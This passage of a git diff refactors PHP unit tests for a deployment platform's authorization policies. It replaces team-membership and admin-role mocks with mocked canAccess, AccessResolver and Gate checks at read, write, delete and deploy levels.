$application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->deploy($user, $application))->toBeFalse(); @@ -160,10 +164,9 @@ it('denies team member to deploy their own team application', function () { it('allows team admin to manage environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); $policy = new ApplicationPolicy; expect($policy->manageEnvironment($user, $application))->toBeTrue(); @@ -171,10 +174,9 @@ it('allows team admin to manage environment variables', function () { it('denies team member to manage environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); $policy = new ApplicationPolicy; expect($policy->manageEnvironment($user, $application))->toBeFalse(); diff --git a/tests/Unit/Policies/ApplicationPreviewPolicyTest.php b/tests/Unit/Policies/ApplicationPreviewPolicyTest.php index 8e295406c2..83ff0d8149 100644 --- a/tests/Unit/Policies/ApplicationPreviewPolicyTest.php +++ b/tests/Unit/Policies/ApplicationPreviewPolicyTest.php @@ -1,5 +1,6 @@ 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->view($user, $preview))->toBeTrue(); }); it('denies non-team member from viewing application preview', function () { - $teams = collect([ - (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->view($user, $preview))->toBeFalse(); }); it('denies viewing application preview with null application', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn(null); @@ -83,30 +66,26 @@ it('denies non-admin user from creating application preview', function () { it('allows team admin to update application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->update($user, $preview)->allowed())->toBeTrue(); }); it('denies team member from updating application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->update($user, $preview)->allowed())->toBeFalse(); }); @@ -124,30 +103,26 @@ it('denies updating application preview with null application', function () { it('allows team admin to delete application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->delete($user, $preview))->toBeTrue(); }); it('denies team member from deleting application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->delete($user, $preview))->toBeFalse(); }); @@ -164,30 +139,26 @@ it('denies deleting application preview with null application', function () { it('allows team admin to deploy application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(true); + $policy = new ApplicationPreviewPolicy; expect($policy->deploy($user, $preview))->toBeTrue(); }); it('denies team member from deploying application preview', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $preview = Mockery::mock(ApplicationPreview::class)->makePartial(); $preview->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Deploy, $application)->andReturn(false); + $policy = new ApplicationPreviewPolicy; expect($policy->deploy($user, $preview))->toBeFalse(); }); diff --git a/tests/Unit/Policies/ApplicationSettingPolicyTest.php b/tests/Unit/Policies/ApplicationSettingPolicyTest.php index c595a3e960..ece6e8a716 100644 --- a/tests/Unit/Policies/ApplicationSettingPolicyTest.php +++ b/tests/Unit/Policies/ApplicationSettingPolicyTest.php @@ -1,5 +1,6 @@ 1, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(true); + $policy = new ApplicationSettingPolicy; expect($policy->view($user, $setting))->toBeTrue(); }); it('denies non-team member from viewing application setting', function () { - $teams = collect([ - (object) ['id' => 2, 'pivot' => (object) ['role' => 'member']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $application)->andReturn(false); + $policy = new ApplicationSettingPolicy; expect($policy->view($user, $setting))->toBeFalse(); }); it('denies viewing application setting with null application', function () { - $teams = collect([ - (object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn(null); @@ -83,30 +66,26 @@ it('denies non-admin user from creating application setting', function () { it('allows team admin to update application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(true); + $policy = new ApplicationSettingPolicy; expect($policy->update($user, $setting))->toBeTrue(); }); it('denies team member from updating application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $application)->andReturn(false); + $policy = new ApplicationSettingPolicy; expect($policy->update($user, $setting))->toBeFalse(); }); @@ -123,30 +102,26 @@ it('denies updating application setting with null application', function () { it('allows team admin to delete application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(true); + $policy = new ApplicationSettingPolicy; expect($policy->delete($user, $setting))->toBeTrue(); }); it('denies team member from deleting application setting', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - - $team = (object) ['id' => 1]; $application = Mockery::mock(Application::class)->makePartial(); - $application->shouldReceive('team')->andReturn($team); $setting = Mockery::mock(ApplicationSetting::class)->makePartial(); $setting->shouldReceive('getAttribute')->with('application')->andReturn($application); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $application)->andReturn(false); + $policy = new ApplicationSettingPolicy; expect($policy->delete($user, $setting))->toBeFalse(); }); diff --git a/tests/Unit/Policies/DatabasePolicyTest.php b/tests/Unit/Policies/DatabasePolicyTest.php index 9924a43cb2..7bf05609fe 100644 --- a/tests/Unit/Policies/DatabasePolicyTest.php +++ b/tests/Unit/Policies/DatabasePolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any databases', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,45 @@ it('allows any user to view any databases', function () { }); it('allows team member to view their own team database', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->view($user, $database))->toBeTrue(); }); it('denies non-member to view another team database', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 2]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->view($user, $database))->toBeFalse(); }); it('denies view when database has no team', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); $database->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $database)->andReturn(false); + $policy = new DatabasePolicy; expect($policy->view($user, $database))->toBeFalse(); }); it('allows admin to create a database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new DatabasePolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +66,13 @@ it('allows admin to create a database', function () { it('denies member to create a database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new DatabasePolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +80,9 @@ it('denies member to create a database', function () { it('allows team admin to update their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->update($user, $database)->allowed())->toBeTrue(); @@ -85,10 +90,9 @@ it('allows team admin to update their own team database', function () { it('denies team member to update their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->update($user, $database)->allowed())->toBeFalse(); @@ -100,16 +104,17 @@ it('denies update when database has no team', function () { $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); $database->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); + $policy = new DatabasePolicy; expect($policy->update($user, $database)->allowed())->toBeFalse(); }); it('allows team admin to delete their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->delete($user, $database))->toBeTrue(); @@ -117,10 +122,9 @@ it('allows team admin to delete their own team database', function () { it('denies team member to delete their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->delete($user, $database))->toBeFalse(); @@ -132,16 +136,17 @@ it('denies delete when database has no team', function () { $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); $database->shouldReceive('team')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $database)->andReturn(false); + $policy = new DatabasePolicy; expect($policy->delete($user, $database))->toBeFalse(); }); it('allows team admin to manage their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->manage($user, $database))->toBeTrue(); @@ -149,10 +154,9 @@ it('allows team admin to manage their own team database', function () { it('denies team member to manage their own team database', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->manage($user, $database))->toBeFalse(); @@ -160,10 +164,9 @@ it('denies team member to manage their own team database', function () { it('allows team admin to manage backups', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->manageBackups($user, $database))->toBeTrue(); @@ -171,10 +174,9 @@ it('allows team admin to manage backups', function () { it('denies team member to manage backups', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->manageBackups($user, $database))->toBeFalse(); @@ -182,10 +184,9 @@ it('denies team member to manage backups', function () { it('allows team admin to manage database environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(true); $policy = new DatabasePolicy; expect($policy->manageEnvironment($user, $database))->toBeTrue(); @@ -193,10 +194,9 @@ it('allows team admin to manage database environment variables', function () { it('denies team member to manage database environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $database = Mockery::mock(StandalonePostgresql::class)->makePartial(); - $database->shouldReceive('team')->andReturn((object) ['id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $database)->andReturn(false); $policy = new DatabasePolicy; expect($policy->manageEnvironment($user, $database))->toBeFalse(); diff --git a/tests/Unit/Policies/EnvironmentPolicyTest.php b/tests/Unit/Policies/EnvironmentPolicyTest.php index 3fe8f17038..22c4ba86d8 100644 --- a/tests/Unit/Policies/EnvironmentPolicyTest.php +++ b/tests/Unit/Policies/EnvironmentPolicyTest.php @@ -1,8 +1,16 @@ forgetInstance(AccessResolver::class); +}); it('allows any user to view any environments', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -12,53 +20,49 @@ it('allows any user to view any environments', function () { }); it('allows team member to view their own team environment', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $environment)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->view($user, $environment))->toBeTrue(); }); it('denies non-member to view another team environment', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 2]); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('canOpen')->with($user, $environment)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->view($user, $environment))->toBeFalse(); }); it('denies view when environment has no project', function () { - $teams = collect([ - (object) ['id' => 1], - ]); - $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('getAttribute')->with('teams')->andReturn($teams); - $environment = Mockery::mock(Environment::class)->makePartial(); $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Read, $environment)->andReturn(false); + $policy = new EnvironmentPolicy; expect($policy->view($user, $environment))->toBeFalse(); }); it('allows admin to create an environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(true); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(true); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->create($user))->toBeTrue(); @@ -66,7 +70,13 @@ it('allows admin to create an environment', function () { it('denies member to create an environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdmin')->andReturn(false); + $team = new Team; + $team->id = 1; + $user->shouldReceive('currentTeam')->andReturn($team); + + $resolver = Mockery::mock(AccessResolver::class); + $resolver->shouldReceive('allowsTeamWide')->with($user, AccessLevel::Write, 1)->andReturn(false); + Container::getInstance()->instance(AccessResolver::class, $resolver); $policy = new EnvironmentPolicy; expect($policy->create($user))->toBeFalse(); @@ -74,10 +84,9 @@ it('denies member to create an environment', function () { it('allows team admin to update their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(true); $policy = new EnvironmentPolicy; expect($policy->update($user, $environment))->toBeTrue(); @@ -85,10 +94,9 @@ it('allows team admin to update their own team environment', function () { it('denies team member to update their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(false); $policy = new EnvironmentPolicy; expect($policy->update($user, $environment))->toBeFalse(); @@ -100,16 +108,17 @@ it('denies update when environment has no project', function () { $environment = Mockery::mock(Environment::class)->makePartial(); $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Write, $environment)->andReturn(false); + $policy = new EnvironmentPolicy; expect($policy->update($user, $environment))->toBeFalse(); }); it('allows team admin to delete their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(true); $policy = new EnvironmentPolicy; expect($policy->delete($user, $environment))->toBeTrue(); @@ -117,10 +126,9 @@ it('allows team admin to delete their own team environment', function () { it('denies team member to delete their own team environment', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $environment = Mockery::mock(Environment::class)->makePartial(); - $environment->shouldReceive('getAttribute')->with('project')->andReturn((object) ['team_id' => 1]); + + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(false); $policy = new EnvironmentPolicy; expect($policy->delete($user, $environment))->toBeFalse(); @@ -132,6 +140,8 @@ it('denies delete when environment has no project', function () { $environment = Mockery::mock(Environment::class)->makePartial(); $environment->shouldReceive('getAttribute')->with('project')->andReturn(null); + $user->shouldReceive('canAccess')->with(AccessLevel::Delete, $environment)->andReturn(false); + $policy = new EnvironmentPolicy; expect($policy->delete($user, $environment))->toBeFalse(); }); diff --git a/tests/Unit/Policies/EnvironmentVariablePolicyTest.php b/tests/Unit/Policies/EnvironmentVariablePolicyTest.php index d5d3ec410a..947677573e 100644 --- a/tests/Unit/Policies/EnvironmentVariablePolicyTest.php +++ b/tests/Unit/Policies/EnvironmentVariablePolicyTest.php @@ -4,7 +4,13 @@ use App\Models\Application; use App\Models\EnvironmentVariable; use App\Models\User; use App\Policies\EnvironmentVariablePolicy; +use Illuminate\Contracts\Auth\Access\Gate as GateContract; use Illuminate\Support\Collection; +use Illuminate\Support\Facades\Gate; + +afterEach(function () { + Gate::clearResolvedInstance('gate'); +}); it('allows any user to view any environment variables', function () { $user = Mockery::mock(User::class)->makePartial(); @@ -15,28 +21,28 @@ it('allows any user to view any environment variables', function () { it('allows team member to view environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->teams = new Collection([(object) ['id' => 1]]); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('view', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->view($user, $envVar))->toBeTrue(); }); it('denies non-team member from viewing environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->teams = new Collection([(object) ['id' => 2]]); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('view', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->view($user, $envVar))->toBeFalse(); }); @@ -70,28 +76,28 @@ it('denies member from creating environment variable', function () { it('allows team admin to update environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->update($user, $envVar))->toBeTrue(); }); it('denies non-admin from updating environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->update($user, $envVar))->toBeFalse(); }); @@ -108,28 +114,28 @@ it('denies update when resourceable is null', function () { it('allows team admin to delete environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(true); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->delete($user, $envVar))->toBeTrue(); }); it('denies non-admin from deleting environment variable', function () { $user = Mockery::mock(User::class)->makePartial(); - $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false); - $resource = Mockery::mock(Application::class)->makePartial(); - $resource->shouldReceive('team')->andReturn((object) ['id' => 1]); - $envVar = Mockery::mock(EnvironmentVariable::class)->makePartial(); $envVar->shouldReceive('getAttribute')->with('resourceable')->andReturn($resource); + $gate = Mockery::mock(GateContract::class); + $gate->shouldReceive('allows')->with('manageEnvironment', $resource)->andReturn(false); + Gate::shouldReceive('forUser')->with($user)->andReturn($gate); + $policy = new EnvironmentVariablePolicy; expect($policy->delete($user, $envVar))->toBeFalse(); }); @@ -162,28 +168,28 @@ it('denies force delete for environment variable', function () { 